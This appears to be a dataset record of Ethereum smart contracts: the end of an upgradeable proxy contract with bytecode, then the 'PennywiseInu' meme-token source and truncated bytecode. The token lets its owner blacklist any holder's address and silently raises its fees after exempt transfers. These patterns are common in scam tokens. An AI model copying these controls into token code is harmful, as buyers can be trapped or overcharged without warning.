* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () payable external {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () payable external {
_delegate(_implementation());
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor() public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) virtual internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
address implementation = _implementation();
require(implementation != newImplementation, "Proxy: Attemps update proxy with the same implementation");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative inerface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address admin, address implementation) public payable UpgradeableProxy() {
require(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1), "Wrong admin slot");
_setAdmin(admin);
_upgradeTo(implementation);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != _admin(), "Proxy: new admin is the same admin.");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
require(newAdmin != address(0), "Proxy: Can't set admin to zero address.");
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100705780634f1ef286146100a35780635c60da1b146101235780638f28397014610154578063f851a4401461018757610065565b366100655761006361005e61019c565b6101c1565b005b61006361005e61019c565b34801561007c57600080fd5b506100636004803603602081101561009357600080fd5b50356001600160a01b03166101ea565b610063600480360360408110156100b957600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100e457600080fd5b8201836020820111156100f657600080fd5b8035906020019184600183028401116401000000008311171561011857600080fd5b509092509050610224565b34801561012f57600080fd5b506101386102cc565b604080516001600160a01b039092168252519081900360200190f35b34801561016057600080fd5b506100636004803603602081101561017757600080fd5b50356001600160a01b0316610309565b34801561019357600080fd5b506101386103d6565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156101e0573d6000f35b3d6000fd5b505050565b6101f26103fd565b6001600160a01b0316336001600160a01b031614156102195761021481610422565b610221565b610221610462565b50565b61022c6103fd565b6001600160a01b0316336001600160a01b031614156102c45761024e83610422565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102ab576040519150601f19603f3d011682016040523d82523d6000602084013e6102b0565b606091505b50509050806102be57600080fd5b506101e5565b6101e5610462565b60006102d66103fd565b6001600160a01b0316336001600160a01b031614156102fe576102f761019c565b9050610306565b610306610462565b90565b6103116103fd565b6001600160a01b0316336001600160a01b03161415610219576103326103fd565b6001600160a01b0316816001600160a01b031614156103825760405162461bcd60e51b81526004018080602001828103825260238152602001806105826023913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103ab6103fd565b604080516001600160a01b03928316815291841660208301528051918290030190a16102148161046f565b60006103e06103fd565b6001600160a01b0316336001600160a01b031614156102fe576102f75b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61042b816104d8565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b61046d61005e61019c565b565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036001600160a01b0382166104d55760405162461bcd60e51b815260040180806020018281038252602781526020018061055b6027913960400191505060405180910390fd5b55565b60006104e261019c565b9050816001600160a01b0316816001600160a01b031614156105355760405162461bcd60e51b81526004018080602001828103825260388152602001806105a56038913960400191505060405180910390fd5b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe50726f78793a2043616e2774207365742061646d696e20746f207a65726f20616464726573732e50726f78793a206e65772061646d696e206973207468652073616d652061646d696e2e50726f78793a20417474656d7073207570646174652070726f78792077697468207468652073616d6520696d706c656d656e746174696f6ea2646970667358221220d86a77a3ac5810bef8a244453ba1bee8c3cd15723333437382d47c0ea7402ecd64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,642 |
0x49ee3478e753b0316bade33912c5abe9ff6df287
|
/**
*Submitted for verification at Etherscan.io on 2021-10-30
*/
//https://t.me/pennywiseinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PennywiseInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PennywiseInu";
string private constant _symbol = "PENNYWISE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600c81526020017f50656e6e7977697365496e750000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f50454e4e59574953450000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b